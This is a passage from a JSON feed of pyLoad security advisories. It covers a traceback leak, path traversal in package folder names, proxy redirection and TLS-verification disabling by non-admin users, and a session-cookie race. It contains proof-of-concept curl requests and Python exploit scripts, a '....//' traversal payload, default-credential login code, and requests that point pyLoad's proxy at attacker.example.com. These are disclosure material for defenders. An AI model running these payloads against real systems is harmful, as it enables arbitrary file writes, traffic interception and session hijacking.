endpoint=\"web\"\\\\)\\\\s*'\n        r\"def render\\\\(filename\\\\):(?P\u003cbody\u003e.*?)(?:\\\\n\\\\n@bp\\\\.route|\\\\Z)\",\n        app_blueprint,\n        re.DOTALL,\n    )\n    if not m:\n        return False\n    block_start = max(0, m.start() - 200)\n    block = app_blueprint[block_start:m.end()]\n    return \"@login_required(\" not in block\n\n\ndef main() -\u003e None:\n    workdir = Path(tempfile.mkdtemp(prefix=\"pyload-traceback-infoleak-\"))\n    try:\n        app_blueprint = read_text(\"webui/app/blueprints/app_blueprint.py\")\n        handlers = read_text(\"webui/app/handlers.py\")\n        base_template = read_text(\"webui/app/themes/modern/templates/base.html\")\n\n        unauth_web_route = '/web/\u003cpath:filename\u003e' in app_blueprint and route_has_no_login_required(app_blueprint)\n        user_controlled_template_name = \"render_template(filename)\" in app_blueprint\n        handler_uses_traceback = \"traceback.format_exc()\" in handlers\n        handler_appends_trace = \"messages.extend(tb.split('\\\\n'))\" in handlers\n        global_exception_handler = \"(Exception, handle_exception_error)\" in handlers\n        template_renders_messages = \"{% for message in messages %}\" in base_template and \"{{message}}\" in base_template\n\n        leaked_traceback_keyword = False\n        leaked_exception_type = False\n        try:\n            raise RuntimeError(\"forced-poc-error\")\n        except Exception:\n            tb = traceback.format_exc()\n            messages = [f\"Error 500: forced-poc-error\"]\n            messages.extend(tb.split(\"\\\\n\"))\n            joined = \"\\\\n\".join(messages)\n            leaked_traceback_keyword = \"Traceback (most recent call last)\" in joined\n            leaked_exception_type = \"RuntimeError: forced-poc-error\" in joined\n\n        repro_success = all(\n            [\n                unauth_web_route,\n                user_controlled_template_name,\n                handler_uses_traceback,\n                handler_appends_trace,\n                global_exception_handler,\n                template_renders_messages,\n                leaked_traceback_keyword,\n                leaked_exception_type,\n            ]\n        )\n\n        print(\"unauth_web_route=\", unauth_web_route)\n        print(\"user_controlled_template_name=\", user_controlled_template_name)\n        print(\"handler_uses_traceback=\", handler_uses_traceback)\n        print(\"handler_appends_trace=\", handler_appends_trace)\n        print(\"global_exception_handler=\", global_exception_handler)\n        print(\"template_renders_messages=\", template_renders_messages)\n        print(\"leaked_traceback_keyword=\", leaked_traceback_keyword)\n        print(\"leaked_exception_type=\", leaked_exception_type)\n        print(\"traceback_infoleak_repro_success=\", repro_success)\n    finally:\n        shutil.rmtree(workdir, ignore_errors=True)\n        print(\"cleanup_done=True\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nObserved result:\n```text\nunauth_web_route= True\nuser_controlled_template_name= True\nhandler_uses_traceback= True\nhandler_appends_trace= True\nglobal_exception_handler= True\ntemplate_renders_messages= True\nleaked_traceback_keyword= True\nleaked_exception_type= True\ntraceback_infoleak_repro_success= True\ncleanup_done=True\n```\n\n### Impact\n- Vulnerability type: Information disclosure (stack trace / internal path leakage).\n- Attack surface: unauthenticated WebUI request path.\n- Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T17:54:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-c3gc-9pf2-84gg","https://nvd.nist.gov/vuln/detail/CVE-2026-44226","https://github.com/advisories/GHSA-c3gc-9pf2-84gg"],"source_kind":"github","identifiers":["GHSA-c3gc-9pf2-84gg","CVE-2026-44226"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T18:00:09.102Z","updated_at":"2026-09-14T14:03:14.498Z","epss_percentage":0.00336,"epss_percentile":0.26632,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jM2djLTlwZjItODRnZ84ABWSs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jM2djLTlwZjItODRnZ84ABWSs","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev100","vulnerable_version_range":"\u003c 0.5.0b3.dev100"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jM2djLTlwZjItODRnZ84ABWSs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04MzhnLWdyNDMtcXFnOc4ABWNR","url":"https://github.com/advisories/GHSA-838g-gr43-qqg9","title":"PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data","description":"### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/add_package' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: \u003cvalid api key\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}'\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/set_package_data' \\\n  -H 'accept: */*' \\\n  -H 'X-API-Key: \u003cvalid api key\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}'\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X 'GET' \\\n  'http://localhost:8000/api/get_queue' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: \u003cvalid api key\u003e'\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T21:18:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9","https://nvd.nist.gov/vuln/detail/CVE-2026-42315","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml","https://github.com/advisories/GHSA-838g-gr43-qqg9"],"source_kind":"github","identifiers":["GHSA-838g-gr43-qqg9","CVE-2026-42315"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T22:00:08.302Z","updated_at":"2026-09-19T09:03:35.510Z","epss_percentage":0.00395,"epss_percentile":0.33502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04MzhnLWdyNDMtcXFnOc4ABWNR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04MzhnLWdyNDMtcXFnOc4ABWNR","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev100","vulnerable_version_range":"\u003c= 0.5.0b3.dev99"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04MzhnLWdyNDMtcXFnOc4ABWNR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05N3IzLTV3ODQtcjRxOM4ABWNJ","url":"https://github.com/advisories/GHSA-97r3-5w84-r4q8","title":"PyLoad Vulnerable to Path Traversal via Package Folder Name","description":"Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n    folder.replace(\"http://\", \"\")\n    .replace(\"https://\", \"\")\n    .replace(\"../\", \"_\")  # Bypassable!\n    .replace(\"..\\\\\", \"_\")\n    .replace(\":\", \"\")\n    .replace(\"/\", \"_\")\n    .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d \u0026\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n    \"username\": USERNAME,\n    \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n    \"name\": \"test_package\",\n    \"links\": [\"http://example.com/file.txt\"],\n    \"dest\": 1  # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n    \"package_id\": package_id,\n    \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\"    The sanitized folder still contains '..' sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad's sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T21:13:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8","https://nvd.nist.gov/vuln/detail/CVE-2026-42314","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-128.yaml","https://github.com/advisories/GHSA-97r3-5w84-r4q8"],"source_kind":"github","identifiers":["GHSA-97r3-5w84-r4q8","CVE-2026-42314"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T22:00:08.306Z","updated_at":"2026-09-19T09:03:35.516Z","epss_percentage":0.00342,"epss_percentile":0.27557,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05N3IzLTV3ODQtcjRxOM4ABWNJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05N3IzLTV3ODQtcjRxOM4ABWNJ","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev100","vulnerable_version_range":"\u003c= 0.5.0b3.dev79"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05N3IzLTV3ODQtcjRxOM4ABWNJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZzY3LTl3anYtbXI4Nc4ABWJj","url":"https://github.com/advisories/GHSA-pg67-9wjv-mr85","title":"pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)","description":"### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `(\"proxy\", \"username\")` and `(\"proxy\", \"password\")` — which protect the proxy credentials — but it does **not** include `(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, or `(\"proxy\", \"type\")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.\n\nGating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four `proxy.*` fields are jointly required to weaponize the miss and are patched together.\n\n### Details\n\n**Writer** — `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215–290). The allowlist:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"), (\"proxy\", \"username\"),   # \u003c-- credentials gated\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n    (\"webui\", \"use_ssl\"),\n}\n```\n\n`(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, `(\"proxy\", \"type\")` are absent.\n\n**Reader** — `src/pyload/core/network/request_factory.py:82-100`:\n\n```python\ndef get_proxies(self):\n    if not self.pyload.config.get(\"proxy\", \"enabled\"):\n        return {}\n    proxy_type     = self.pyload.config.get(\"proxy\", \"type\")\n    proxy_host     = self.pyload.config.get(\"proxy\", \"host\")\n    proxy_port     = self.pyload.config.get(\"proxy\", \"port\")\n    proxy_username = self.pyload.config.get(\"proxy\", \"username\") or None\n    proxy_password = self.pyload.config.get(\"proxy\", \"password\") or None\n    return {\"type\": proxy_type, ..., \"host\": proxy_host, \"port\": proxy_port, ...}\n```\n\n**Sink** — `src/pyload/core/network/http/http_request.py` (around lines 211–230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.\n\n### PoC\n\nAuthenticated as any user with `Perms.SETTINGS` (non-admin role):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n    -d 'username=settings_user\u0026password=\u003cpassword\u003e'\n\n# 2) Redirect all outbound traffic through attacker.example.com:8080.\nfor kv in \\\n    'category=proxy\u0026option=enabled\u0026value=True' \\\n    'category=proxy\u0026option=host\u0026value=attacker.example.com' \\\n    'category=proxy\u0026option=port\u0026value=8080' \\\n    'category=proxy\u0026option=type\u0026value=http' ; do\n  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n      -d \"$kv\u0026section=core\"\ndone\n\n# 3) Enqueue any download (or wait for any periodic update / captcha\n#    fetch). The attacker's server receives the full request — URL,\n#    query string (often carrying auth tokens on download sites),\n#    headers, cookies — and can inject an arbitrary response body.\n```\n\nVerification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.\n- **What**:\n    1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.\n    2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send.\n    3. **Arbitrary response injection** — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.\n    4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user.\n- **Why gating the credentials alone is insufficient**: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-04T22:08:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","references":["https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85","https://github.com/advisories/GHSA-4744-96p5-mp2j","https://github.com/advisories/GHSA-ppvx-rwh9-7rj7","https://github.com/advisories/GHSA-r7mc-x6x7-cqxx","https://github.com/advisories/GHSA-w48f-wwwf-f5fr","https://nvd.nist.gov/vuln/detail/CVE-2026-42313","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-127.yaml","https://github.com/advisories/GHSA-pg67-9wjv-mr85"],"source_kind":"github","identifiers":["GHSA-pg67-9wjv-mr85","CVE-2026-42313"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T23:00:10.009Z","updated_at":"2026-09-19T09:03:37.336Z","epss_percentage":0.00396,"epss_percentile":0.33564,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZzY3LTl3anYtbXI4Nc4ABWJj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZzY3LTl3anYtbXI4Nc4ABWJj","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev100","vulnerable_version_range":"\u003c= 0.5.0b3.dev99"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZzY3LTl3anYtbXI4Nc4ABWJj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jY3hjLXg5NzUtNGhoOc4ABWJi","url":"https://github.com/advisories/GHSA-ccxc-x975-4hh9","title":"pyload-ng: non-admin SETTINGS users can disable outbound TLS peer verification via unrestricted `ssl_verify` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)","description":"### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The option `(\"general\", \"ssl_verify\")` is **not** on that allowlist. Any authenticated user with the non-admin `SETTINGS` permission can set `general.ssl_verify = off`, and every subsequent outbound pycurl request is made with `SSL_VERIFYPEER=0` and `SSL_VERIFYHOST=0` — TLS peer and hostname verification are fully disabled. An on-path attacker can then present forged certificates for any hostname pyload fetches.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist.\n\n### Details\n\n**Writer** — `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215–290). The function is decorated with `@permission(Perms.SETTINGS)` and only rejects writes when `(category, option)` appears in `ADMIN_ONLY_CORE_OPTIONS`:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"), (\"proxy\", \"username\"),\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n    (\"webui\", \"use_ssl\"),\n}\n...\nif (category, option) in ADMIN_ONLY_CORE_OPTIONS and not is_admin:\n    self.pyload.log.error(...); return\nself.pyload.config.set(category, option, value)\n```\n\n`(\"general\", \"ssl_verify\")` is absent. `config.set()` in `src/pyload/core/config/parser.py:329` calls `cast()` which has no branch for enum-string types — `\"off\"` is stored verbatim and persisted to disk via `self.save()`.\n\n**Reader** — `src/pyload/core/network/request_factory.py:109-110`:\n\n```python\ndef get_options(self):\n    return {\n        \"interface\": self.iface(),\n        \"proxies\":   self.get_proxies(),\n        \"ipv6\":      self.pyload.config.get(\"download\", \"ipv6\"),\n        \"ssl_verify\": self.pyload.config.get(\"general\", \"ssl_verify\"),\n        ...\n    }\n```\n\n**Sink** — `src/pyload/core/network/http/http_request.py:193-206`:\n\n```python\nif \"ssl_verify\" in options:\n    aiachaser_on = b\"on (using aia-chaser)\"\n    if options[\"ssl_verify\"] in [True, b\"on\", aiachaser_on]:\n        ...\n        ssl_verify = 1\n    else:\n        ssl_verify = 0\n    self.c.setopt(pycurl.SSL_VERIFYPEER, ssl_verify)\n    self.c.setopt(pycurl.SSL_VERIFYHOST, ssl_verify * 2)\n```\n\nBecause `get_options()` is invoked every time a new pycurl handle is built, the new config value takes effect on the very next outbound request — no pyload restart required.\n\n### PoC\n\nAuthenticated as any user who has `Perms.SETTINGS` but is **not** admin (e.g. a user with `Role.USER` + the SETTINGS permission bit):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n    -d 'username=settings_user\u0026password=\u003cpassword\u003e'\n\n# 2) Disable TLS verification for all outbound downloads.\ncurl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n    -d 'category=general\u0026option=ssl_verify\u0026value=off\u0026section=core'\n# -\u003e 200 OK. Config persisted.\n\n# 3) Enqueue any HTTPS download. An on-path attacker (shared LAN,\n#    compromised upstream router, DNS hijack, or a malicious proxy\n#    enabled via the sibling advisory on the proxy.* options) can\n#    now present a forged cert for any target — pyload accepts it.\n```\n\nVerification: observe pycurl `SSL_VERIFYPEER=0` in a debug build, or confirm that a download from an HTTPS endpoint served with a self-signed / mismatched cert succeeds after step 2 and fails before it.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. In multi-user pyload deployments that delegate settings administration to non-admins, this is an unintended privilege escalation from \"can change UI/download settings\" to \"can silently disable TLS cert validation for all outbound fetches\".\n- **What**:\n    1. Man-in-the-middle on all HTTPS downloads, captcha fetches, update checks, and plugin HTTP calls.\n    2. Extends the impact of the already-published SSRF chain (CVE-2026-33992 / CVE-2026-35459). The URL-hostname validation those patches added is only meaningful if the TLS channel authenticates the endpoint; with `ssl_verify=off`, an on-path attacker can present forged certs for already-validated hosts — so HTTPS cloud-metadata endpoints and internal HTTPS services behind the host allowlist become reachable again.\n    3. Silent to the admin. Every adjacent security-critical option (`proxy.password`, SSL certfile/keyfile/certchain, `use_ssl`) is already admin-only, so the admin's mental model is that TLS policy cannot be weakened by a non-admin.\n- **Not impacted**: unauthenticated attackers; users holding only `DOWNLOAD` / `LIST` roles.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T22:07:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-ccxc-x975-4hh9","https://github.com/advisories/GHSA-4744-96p5-mp2j","https://github.com/advisories/GHSA-ppvx-rwh9-7rj7","https://github.com/advisories/GHSA-r7mc-x6x7-cqxx","https://github.com/advisories/GHSA-w48f-wwwf-f5fr","https://nvd.nist.gov/vuln/detail/CVE-2026-42312","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-126.yaml","https://github.com/advisories/GHSA-ccxc-x975-4hh9"],"source_kind":"github","identifiers":["GHSA-ccxc-x975-4hh9","CVE-2026-42312"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T23:00:10.009Z","updated_at":"2026-07-12T11:01:24.054Z","epss_percentage":0.00174,"epss_percentile":0.07029,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY3hjLXg5NzUtNGhoOc4ABWJi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jY3hjLXg5NzUtNGhoOc4ABWJi","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev100","vulnerable_version_range":"\u003c= 0.5.0b3.dev99"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY3hjLXg5NzUtNGhoOc4ABWJi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcDgyLWZtajYtZjIyds4ABVWw","url":"https://github.com/advisories/GHSA-mp82-fmj6-f22v","title":"pyLoad has a Session Cookie Security Downgrade via Untrusted X-Forwarded-Proto Header Spoofing (Global State Race Condition)","description":"## Summary\n\nThe `set_session_cookie_secure` `before_request` handler in `src/pyload/webui/app/__init__.py` reads the `X-Forwarded-Proto` header from any HTTP request without validating that the request originates from a trusted proxy, then mutates the **global** Flask configuration `SESSION_COOKIE_SECURE` on every request. Because pyLoad uses the multi-threaded Cheroot WSGI server (`request_queue_size=512`), this creates a race condition where an attacker's request can influence the `Secure` flag on other users' session cookies — either downgrading cookie security behind a TLS proxy or causing a session denial-of-service on plain HTTP deployments.\n\n## Details\n\nThe vulnerable code is in `src/pyload/webui/app/__init__.py:75-84`:\n\n```python\n# Dynamically set SESSION_COOKIE_SECURE according to the value of X-Forwarded-Proto\n# TODO: Add trusted proxy check\n@app.before_request\ndef set_session_cookie_secure():\n    x_forwarded_proto = flask.request.headers.get(\"X-Forwarded-Proto\", \"\")\n    is_secure = (\n        x_forwarded_proto.split(',')[0].strip() == \"https\" or\n        app.config[\"PYLOAD_API\"].get_config_value(\"webui\", \"use_ssl\")\n    )\n    flask.current_app.config['SESSION_COOKIE_SECURE'] = is_secure\n```\n\nThe root cause has two components:\n\n1. **No origin validation (CWE-346):** The `X-Forwarded-Proto` header is read from any client request. This header is only trustworthy when set by a known reverse proxy. Without `ProxyFix` middleware or a trusted proxy allowlist, any client can spoof it. The code itself acknowledges this with the TODO on line 76.\n\n2. **Global state mutation in a multi-threaded server:** `flask.current_app.config['SESSION_COOKIE_SECURE']` is application-wide shared state. When Thread A (attacker) writes `False` to this config, Thread B (victim) may read `False` when Flask's `save_session()` runs in the after_request phase, producing a `Set-Cookie` response without the `Secure` flag.\n\nThe Cheroot WSGI server is configured with `request_queue_size=512` in `src/pyload/webui/webserver_thread.py:46`, confirming concurrent multi-threaded request processing.\n\nNo `ProxyFix` or equivalent middleware is configured anywhere in the codebase (confirmed via codebase-wide search).\n\n## PoC\n\n**Attack Path 1 — Cookie Security Downgrade (behind TLS-terminating proxy, `use_ssl=False`):**\n\nAn attacker with direct access to the backend (e.g., in a containerized/Kubernetes deployment) sends concurrent requests to keep `SESSION_COOKIE_SECURE` set to `False`:\n\n```bash\n# Attacker floods backend directly, bypassing TLS proxy\nfor i in $(seq 1 200); do\n  curl -s -H 'X-Forwarded-Proto: http' http://pyload-backend:8000/ \u0026\ndone\n\n# Meanwhile, a legitimate user behind the TLS proxy receives a session cookie\n# During the race window, their Set-Cookie header lacks the Secure flag\n# The cookie is then vulnerable to interception over plain HTTP\n```\n\n**Attack Path 2 — Session Denial of Service (default plain HTTP deployment):**\n\n```bash\n# Attacker causes SESSION_COOKIE_SECURE=True on a plain HTTP server\nfor i in $(seq 1 200); do\n  curl -s -H 'X-Forwarded-Proto: https' http://localhost:8000/ \u0026\ndone\n\n# Concurrent legitimate users receive Set-Cookie with Secure flag\n# Browser refuses to send Secure cookies over HTTP\n# Users' sessions silently break — they appear logged out\n```\n\nThe second attack path works against the default configuration (`use_ssl=False`) and requires no special network position.\n\n## Impact\n\n- **Session cookie exposure (Attack Path 1):** When deployed behind a TLS-terminating proxy, an attacker can cause session cookies to be issued without the `Secure` flag. If the victim's browser subsequently makes an HTTP request (e.g., via a mixed-content link or downgrade attack), the session cookie is transmitted in cleartext, enabling session hijacking.\n\n- **Session denial of service (Attack Path 2):** On default plain HTTP deployments, an attacker can continuously set `SESSION_COOKIE_SECURE=True`, causing browsers to refuse sending session cookies back to the server. This silently breaks all concurrent users' sessions with no user-visible error message, only a redirect to login.\n\n- **No authentication required:** Both attack paths are fully unauthenticated — the `before_request` handler fires before any auth checks.\n\n## Recommended Fix\n\nReplace the global config mutation with per-response cookie handling, and add proxy validation:\n\n```python\n# Option A: Set Secure flag per-response instead of mutating global config\n@app.after_request\ndef set_session_cookie_secure(response):\n    # Only trust X-Forwarded-Proto if ProxyFix is configured\n    is_secure = app.config[\"PYLOAD_API\"].get_config_value(\"webui\", \"use_ssl\")\n    if 'Set-Cookie' in response.headers:\n        # Modify cookie flags per-response, not global config\n        cookies = response.headers.getlist('Set-Cookie')\n        